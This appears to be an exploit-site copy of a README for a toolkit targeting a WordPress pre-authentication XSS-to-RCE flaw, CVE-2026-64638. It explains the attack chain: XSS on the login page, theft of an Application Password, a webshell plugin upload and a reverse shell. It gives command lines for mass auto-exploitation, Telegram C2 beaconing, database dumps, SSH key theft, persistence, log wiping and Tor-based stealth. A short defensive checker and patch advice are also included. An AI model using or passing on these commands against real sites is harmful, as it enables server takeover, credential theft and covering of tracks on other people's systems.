## https://sploitus.com/exploit?id=9AE6B02F-A5CD-52DE-AEC3-08347489146A
# 💥 CVE‑2026‑64638 – WordPress XSS2Shell Security Suite
[](https://www.python.org/downloads/)
[](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator)
[](https://github.com/tc4dy)
[](https://wordpress.org)
> **⚠️ ETHICAL USE ONLY – AUTHORIZED SECURITY TESTING**
> This repository provides tools for **authorized security professionals, blue teams, and penetration testers** only.
> Unauthorized access to computer systems is illegal under **CFAA (US), Computer Misuse Act (UK), TCK 243/244 (Turkey), and similar laws worldwide.**
---
## 📖 Vulnerability Overview
**CVE‑2026‑64638** is a critical pre‑authentication reflected XSS vulnerability in WordPress core versions **4.7.0 through 7.0.2** that allows an attacker to escalate an XSS attack to **full remote code execution (RCE)** via the Application Password feature.
### How it works
1. **Parser Differential** – PHP's `strip_tags()` and WordPress's `wp_kses_post()` parse HTML tags differently, allowing malicious input to pass sanitization.
2. **Reflected XSS** – an attacker injects a specially crafted payload into the login form (`wp-login.php`). Upon failed login, the payload is reflected back and executed in the victim's browser.
3. **Application Password Abuse** – the injected JavaScript automatically generates an Application Password through the WordPress REST API, exfiltrating it to the attacker.
4. **Plugin Upload (RCE)** – using the captured Application Password, the attacker authenticates to the admin panel and uploads a malicious plugin containing a webshell.
5. **Full System Compromise** – the webshell provides system command execution, allowing reverse shells, persistence, lateral movement, and complete server takeover.
### Affected Versions
- **WordPress 4.7.0 – 7.0.2** – vulnerable
- **WordPress 7.0.3 and later** – **patched**
- Security updates have been backported to all maintained branches
### Patch
- Upgrade to **WordPress 7.0.3** or newer.
- If upgrade is not possible, **disable Application Password feature** as a temporary workaround.
---
## 🧰 Tools
| Tool | Purpose | Intended User |
|------|---------|---------------|
| **`exploit.py`** | Full exploitation toolkit with reverse shell, persistence, C2, privilege escalation, memory forensics, database dump, SSH key extraction, and mass scanning. | Red teams / authorized pentesters |
| **`safecheck.py`** | Non‑intrusive vulnerability checker that detects XSS reflection and assesses security posture without executing any malicious payload. Generates detailed reports. | Blue teams / security auditors |
---
## 📊 Feature Comparison
| Feature | `exploit.py` | `safecheck.py` |
|---------|:------------:|:--------------:|
| Vulnerability detection | ✅ | ✅ |
| WordPress version detection | ✅ | ✅ |
| XSS reflection detection | ✅ | ✅ |
| Application Password capture | ✅ | ❌ |
| Plugin upload (RCE) | ✅ | ❌ |
| Reverse shell | ✅ | ❌ |
| C2 beaconing (HTTP/DNS/Telegram) | ✅ | ❌ |
| Privilege escalation | ✅ | ❌ |
| Memory forensics | ✅ | ❌ |
| Database dump | ✅ | ❌ |
| SSH key extraction | ✅ | ❌ |
| Persistence methods | ✅ | ❌ |
| Security headers audit | ❌ | ✅ |
| Config file exposure check | ❌ | ✅ |
| Directory listing check | ❌ | ✅ |
| phpinfo exposure check | ❌ | ✅ |
| Mass scanning | ✅ | ✅ |
| Proxy support | ✅ | ✅ |
| Tor support | ✅ | ✅ |
| Ngrok tunneling | ✅ | ❌ |
| Interactive shell | ✅ | ❌ |
| Non‑intrusive (safe) mode | ❌ | ✅ |
| JSON / report output | ✅ | ✅ |
---
## 🎯 Use Case Summary
| Scenario | Recommended Tool |
|----------|------------------|
| **Blue Team** – verifying if your WordPress installation is vulnerable | `safecheck.py` |
| **Security Audit** – non‑intrusive vulnerability assessment | `safecheck.py` |
| **Red Team** – authorized penetration testing with full exploitation | `exploit.py` |
| **Bug Bounty** – responsible disclosure testing | `safecheck.py` |
| **Mass Scanning** – checking multiple targets for vulnerability | `exploit.py` or `safecheck.py` |
| **Incident Response** – checking if systems are compromised | `safecheck.py` |
| **Advanced Post‑Exploitation** – persistence, C2, forensics | `exploit.py` |
---
## ⚙️ Installation
```bash
git clone https://github.com/tc4dy/CVE-2026-64638-PoC-Exploit
cd CVE-2026-64638-PoC-Exploit
pip install -r requirements.txt
```
#### requirements.txt
```bash
requests
urllib3
#ops
pymysql
mysql-connector-python
PySocks
requests[socks]
```
## 📋 Parameters
### `exploit.py` Parameters
| Parameter | Description |
|-----------|-------------|
| `-t, --target` | Target WordPress URL (e.g. `https://wordpress-site.com`) |
| `-l, --list` | File containing list of targets (one per line) for mass scanning |
| `--lhost` | Local IP address for reverse shell callbacks |
| `--lport` | Local port for reverse shell (default: 4444) |
| `--proxy` | HTTP/HTTPS proxy (e.g. `http://127.0.0.1:8080`) |
| `--timeout` | Request timeout in seconds (default: 10) |
| `--retry` | Number of retries (default: 3) |
| `--threads` | Number of threads for mass scanning (default: 5) |
| `--exploit` | Auto‑exploit vulnerable targets during mass scan |
| `--ngrok-token` | Ngrok authtoken for external tunneling |
| `--payload-type` | XSS payload type: `reflected`, `dom_based`, `waf_bypass`, `case_manipulation`, `double_encoded` |
| `--session-hijack` | Enable session hijacking (steal admin cookies) |
| `--dump-db` | Dump WordPress database (requires pymysql) |
| `--extract-ssh` | Extract SSH keys from the target system |
| `--tor` | Route traffic through Tor (socks5h://127.0.0.1:9050) |
| `--stealth` | Enable stealth mode (spoof headers, delay requests) |
| `--no-cleanup` | Skip log cleanup after exploitation |
| `--ssl-verify` | Verify SSL certificates |
| `--c2-type` | C2 type: `http`, `dns`, `telegram` |
| `--c2-server` | C2 server URL or Telegram bot token |
| `--auto-priv-esc` | Auto privilege escalation after shell |
| `--memory-forensics` | Enable memory forensics module |
| `-v, --verbose` | Verbose output |
| `-q, --quiet` | Quiet mode (minimal output) |
### `safecheck.py` Parameters
| Parameter | Description |
|-----------|-------------|
| `-t, --target` | Target WordPress URL (e.g. `https://wordpress-site.com`) |
| `-l, --list` | File containing list of targets (one per line) for mass scanning |
| `--timeout` | Request timeout in seconds (default: 10) |
| `--retry` | Number of retries (default: 3) |
| `--threads` | Number of threads for mass scanning (default: 5) |
| `--proxy` | HTTP/HTTPS proxy (e.g. `http://127.0.0.1:8080`) |
| `--tor` | Route traffic through Tor (socks5h://127.0.0.1:9050) |
| `--ssl-verify` | Verify SSL certificates |
| `--output` | Output JSON report file |
| `-v, --verbose` | Verbose output |
| `-q, --quiet` | Quiet mode (minimal output) |
---
## 💥 Scenarios
| # | Scenario | Command |
|---|----------|---------|
| 1 | Quick vulnerability check | `python safecheck.py -t https://wordpress-site.com` |
| 2 | Detailed scan with report | `python safecheck.py -t https://wordpress-site.com --output report.json -v` |
| 3 | Full exploitation with reverse shell | `python exploit.py -t https://wordpress-site.com --lhost 192.168.1.100 --exploit` |
| 4 | Use custom XSS payload | `python exploit.py -t https://wordpress-site.com --payload-type waf_bypass` |
| 5 | Session hijacking (steal admin cookies) | `python exploit.py -t https://wordpress-site.com --session-hijack` |
| 6 | Dump WordPress database | `python exploit.py -t https://wordpress-site.com --dump-db` |
| 7 | Extract SSH keys | `python exploit.py -t https://wordpress-site.com --extract-ssh` |
| 8 | Use Tor for anonymity | `python exploit.py -t https://wordpress-site.com --tor --stealth` |
| 9 | C2 beaconing with Telegram | `python exploit.py -t https://wordpress-site.com --c2-type telegram --c2-server "https://api.telegram.org/botTOKEN/chat_id"` |
| 10 | Mass scanning from file | `python exploit.py -l targets.txt --threads 10 --exploit` |
| 11 | Memory forensics after shell | `python exploit.py -t https://wordpress-site.com --memory-forensics` |
| 12 | Auto privilege escalation | `python exploit.py -t https://wordpress-site.com --auto-priv-esc` |
| 13 | Interactive shell | `python exploit.py -t https://wordpress-site.com -i` |
| 14 | Ngrok tunneling | `python exploit.py -t https://wordpress-site.com --ngrok-token YOUR_TOKEN` |
---
## 📊 Interactive Shell Commands
| Command | Description |
|---------|-------------|
| `reverse` | Start reverse shell listener |
| `persist` | Apply persistence methods (cron, systemd, rc.local, SSH, WP) |
| `clean` | Clean system logs and history |
| `dumpdb` | Dump WordPress database |
| `ssh` | Extract SSH keys |
| `priv` | Auto privilege escalation |
| `mem` | Run memory forensics |
| `c2` | Show C2 status |
| `c2task` | Check for C2 tasks |
| `exit` | Exit interactive shell |
---
## 🧪 Endpoint & API Usage
| Endpoint | Purpose |
|----------|---------|
| `/wp-login.php` | Login page – XSS injection point |
| `/wp-admin/authorize-application.php` | Application Password generation |
| `/wp-admin/update.php?action=upload-plugin` | Plugin upload (RCE) |
| `/wp-content/plugins/{slug}/{slug}.php` | Webshell execution |
## 🛡️ Responsible Use
- **Only use these tools on systems you own or have explicit written permission to test.**
- Unauthorized access is illegal and unethical.
- The authors are not responsible for any misuse.
- Always follow your country's laws and regulations.
This software is provided for **educational purposes and authorized security testing only**.
### Legal Compliance
| Country | Relevant Law |
|---------|--------------|
| **United States** | Computer Fraud and Abuse Act (CFAA) – 18 U.S.C. § 1030 |
| **United Kingdom** | Computer Misuse Act 1990 |
| **Turkey** | TCK 243 (Unauthorized Access), TCK 244 (System Interference) |
| **Germany** | StGB § 202a (Data Espionage), § 202b (Data Interception) |
| **France** | Loi Godfrain – Article 323-1 |
| **Australia** | Cybercrime Act 2001 |
| **Canada** | Criminal Code – Section 342.1 |
| **India** | Information Technology Act 2000 – Section 43, 66 |
| **Japan** | Act on Prohibition of Unauthorized Computer Access |